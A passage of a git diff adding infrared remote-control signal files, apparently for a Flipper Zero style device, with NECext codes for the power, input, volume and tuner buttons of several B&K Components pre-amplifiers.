+command: CF 00 00 00 +# +name: BK011_AUTO_LEVEL +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: E4 00 00 00 +# +name: BK011_BASS+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: E5 00 00 00 +# +name: BK011_TREBLE+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: F9 00 00 00 +# +name: BK011_VIDEO+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir new file mode 100644 index 000000000..85fe4f52d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir new file mode 100644 index 000000000..23490d2dd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir @@ -0,0 +1,566 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 03 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: IN_1_VCR +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: IN_3_TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 07 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: IN_2_TIVO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: IN_7_TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: IN_4_DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0E 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: IN_5_CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 13 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 15 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 16 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 18 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 19 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1A 00 00 00 +# +name: TUNE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: TUNE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1D 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1E 00 00 00 +# +name: CR_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: CR_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 24 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 26 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 29 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2A 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2B 00 00 00 +# +name: CR_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: CR_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3E 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 40 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: IN_6_SAT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 5A 00 00 00 +# +name: BASS- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 65 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 65 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: AM_TUNER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: TREBLE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 79 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 7D 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8A 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 9A 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: A2 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CA 00 00 00 +# +name: A_KEY +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: CF 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E2 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E5 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E5 00 00 00 +# +name: ST/MONO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: EB 00 00 00 +# +name: TREBLE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: F9 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir new file mode 100644 index 000000000..8a6f02d42 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: BK003_POWER_OFF +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 01 00 00 00 +# +name: BK003_POWER_ON +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 02 00 00 00 +# +name: BK003_MUTE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 03 00 00 00 +# +name: BK003_V1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 05 00 00 00 +# +name: BK003_TV +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 06 00 00 00 +# +name: BK003_V2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 09 00 00 00 +# +name: BK003_TAPE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0B 00 00 00 +# +name: BK003_DVD +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0D 00 00 00 +# +name: BK003_CD +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0F 00 00 00 +# +name: BK003_CENTER- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 15 00 00 00 +# +name: BK003_CENTER+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 16 00 00 00 +# +name: BK003_REAR- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 19 00 00 00 +# +name: BK003_REAR+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1A 00 00 00 +# +name: BK003_SUB- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1D 00 00 00 +# +name: BK003_SUB+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1E 00 00 00 +# +name: BK003_LEFT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1F 00 00 00 +# +name: BK003_RIGHT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 20 00 00 00 +# +name: BK003_VOLUME- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 23 00 00 00 +# +name: BK003_VOLUME+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 24 00 00 00 +# +name: BK003_NUMBER_+10 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 29 00 00 00 +# +name: BK003_EQ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2A 00 00 00 +# +name: BK003_DVD-AUDIO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2B 00 00 00 +# +name: BK003_DOWN +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2D 00 00 00 +# +name: BK003_UP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2E 00 00 00 +# +name: BK003_MENU +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2F 00 00 00 +# +name: BK003_ENTER/SELECT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 30 00 00 00 +# +name: BK003_NUMBER_1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 31 00 00 00 +# +name: BK003_NUMBER_2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 32 00 00 00 +# +name: BK003_NUMBER_3 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 33 00 00 00 +# +name: BK003_NUMBER_4 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 35 00 00 00 +# +name: BK003_NUMBER_5 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 36 00 00 00 +# +name: BK003_NUMBER_6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 37 00 00 00 +# +name: BK003_NUMBER_7 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 39 00 00 00 +# +name: BK003_NUMBER_8 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3A 00 00 00 +# +name: BK003_NUMBER_9 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3B 00 00 00 +# +name: BK003_NUMBER_0 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: BK003_Z +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3F 00 00 00 +# +name: BK003_SAVE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 40 00 00 00 +# +name: BK003_SAT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4A 00 00 00 +# +name: BK003_PRESET+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4B 00 00 00 +# +name: BK003_PANORAMA+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4E 00 00 00 +# +name: BK003_INFO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 53 00 00 00 +# +name: BK003_BASS- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 65 00 00 00 +# +name: BK003_GAME +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 6A 00 00 00 +# +name: BK003_MOVIE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 72 00 00 00 +# +name: BK003_AM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 76 00 00 00 +# +name: BK003_TREBLE- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 79 00 00 00 +# +name: BK003_EXIT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 7D 00 00 00 +# +name: BK003_DIMENSION+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 81 00 00 00 +# +name: BK003_CINEMA +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8A 00 00 00 +# +name: BK003_FM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8E 00 00 00 +# +name: BK003_MONO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 9A 00 00 00 +# +name: BK003_IMAGE+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 9E 00 00 00 +# +name: BK003_NEO:6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: AA 00 00 00 +# +name: BK003_MUSIC +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: B2 00 00 00 +# +name: BK003_SLEEP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: B3 00 00 00 +# +name: BK003_PRESET- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: C6 00 00 00 +# +name: BK003_SURROUND +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CA 00 00 00 +# +name: BK003_PANORAMA- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CE 00 00 00 +# +name: BK003_STEREO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E2 00 00 00 +# +name: BK003_BASS+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E5 00 00 00 +# +name: BK003_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EA 00 00 00 +# +name: BK003_IMAGE- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EE 00 00 00 +# +name: BK003_TREBLE+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: F9 00 00 00 +# +name: BK003_DIMENSION- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir new file mode 100644 index 000000000..a27dc9923 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: BK005_POWER_OFF +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 01 00 00 00 +# +name: BK005_POWER_ON +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 02 00 00 00 +# +name: BK005_MUTE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 03 00 00 00 +# +name: BK005_V1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 05 00 00 00 +# +name: BK005_TV +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 06 00 00 00 +# +name: BK005_V2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 09 00 00 00 +# +name: BK005_TAPE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0B 00 00 00 +# +name: BK005_DVD +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0D 00 00 00 +# +name: BK005_CD +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0F 00 00 00 +# +name: BK005_CENTER- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 15 00 00 00 +# +name: BK005_CENTER+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 16 00 00 00 +# +name: BK005_REAR- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 19 00 00 00 +# +name: BK005_REAR+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1A 00 00 00 +# +name: BK005_SUB- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1D 00 00 00 +# +name: BK005_SUB+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1E 00 00 00 +# +name: BK005_LEFT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1F 00 00 00 +# +name: BK005_RIGHT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 20 00 00 00 +# +name: BK005_VOLUME- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 23 00 00 00 +# +name: BK005_VOLUME+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 24 00 00 00 +# +name: BK005_NUMBER_+10 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 29 00 00 00 +# +name: BK005_EQ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2A 00 00 00 +# +name: BK005_DVD-AUDIO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2B 00 00 00 +# +name: BK005_DOWN +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2D 00 00 00 +# +name: BK005_UP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2E 00 00 00 +# +name: BK005_MENU +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2F 00 00 00 +# +name: BK005_ENTER/SELECT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 30 00 00 00 +# +name: BK005_NUMBER_1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 31 00 00 00 +# +name: BK005_NUMBER_2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 32 00 00 00 +# +name: BK005_NUMBER_3 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 33 00 00 00 +# +name: BK005_NUMBER_4 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 35 00 00 00 +# +name: BK005_NUMBER_5 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 36 00 00 00 +# +name: BK005_NUMBER_6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 37 00 00 00 +# +name: BK005_NUMBER_7 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 39 00 00 00 +# +name: BK005_NUMBER_8 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3A 00 00 00 +# +name: BK005_NUMBER_9 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3B 00 00 00 +# +name: BK005_NUMBER_0 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3E 00 00 00 +# +name: BK005_Z +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3F 00 00 00 +# +name: BK005_SAVE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 40 00 00 00 +# +name: BK005_SAT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4A 00 00 00 +# +name: BK005_PRESET+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4B 00 00 00 +# +name: BK005_PANORAMA+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4E 00 00 00 +# +name: BK005_INFO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 53 00 00 00 +# +name: BK005_BASS- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 65 00 00 00 +# +name: BK005_GAME +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 6A 00 00 00 +# +name: BK005_MOVIE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 72 00 00 00 +# +name: BK005_AM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 76 00 00 00 +# +name: BK005_TREBLE- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 79 00 00 00 +# +name: BK005_EXIT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 7D 00 00 00 +# +name: BK005_DIMENSION+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 81 00 00 00 +# +name: BK005_CINEMA +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8A 00 00 00 +# +name: BK005_FM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8E 00 00 00 +# +name: BK005_MONO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 9A 00 00 00 +# +name: BK005_IMAGE+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 9E 00 00 00 +# +name: BK005_NEO:6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: AA 00 00 00 +# +name: BK005_MUSIC +type: parsed +protocol: NECext +address: CB 43 00 00 +command: B2 00 00 00 +# +name: BK005_SLEEP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: B3 00 00 00 +# +name: BK005_PRESET- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: C6 00 00 00 +# +name: BK005_SURROUND +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CA 00 00 00 +# +name: BK005_PANORAMA- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CE 00 00 00 +# +name: BK005_STEREO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E2 00 00 00 +# +name: BK005_BASS+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E5 00 00 00 +# +name: BK005_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EA 00 00 00 +# +name: BK005_IMAGE- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EE 00 00 00 +# +name: BK005_TREBLE+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: F9 00 00 00 +# +name: BK005_DIMENSION- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir new file mode 100644 index 000000000..a53f1b1a0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir @@ -0,0 +1,1850 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: Z2_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: BK001_POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: Z2_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: BK001_POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: Z2_MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: BK001_MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: SOURCE_IN_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: Z2_VCR_[V1] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: BK001_V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: TV-V3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: SOURCE_IN_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: BK001_TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: FX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 07 00 00 00 +# +name: SOURCE_IN_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 07 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: SOURCE_IN_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: Z2_TIVO_[V2] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: BK001_V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: SOURCE_IN_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: BK001_TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: VIDEO_HUE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0C 00 00 00 +# +name: VLD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: SOURCE_IN_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: BK001_DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: TUNER +type: parsed 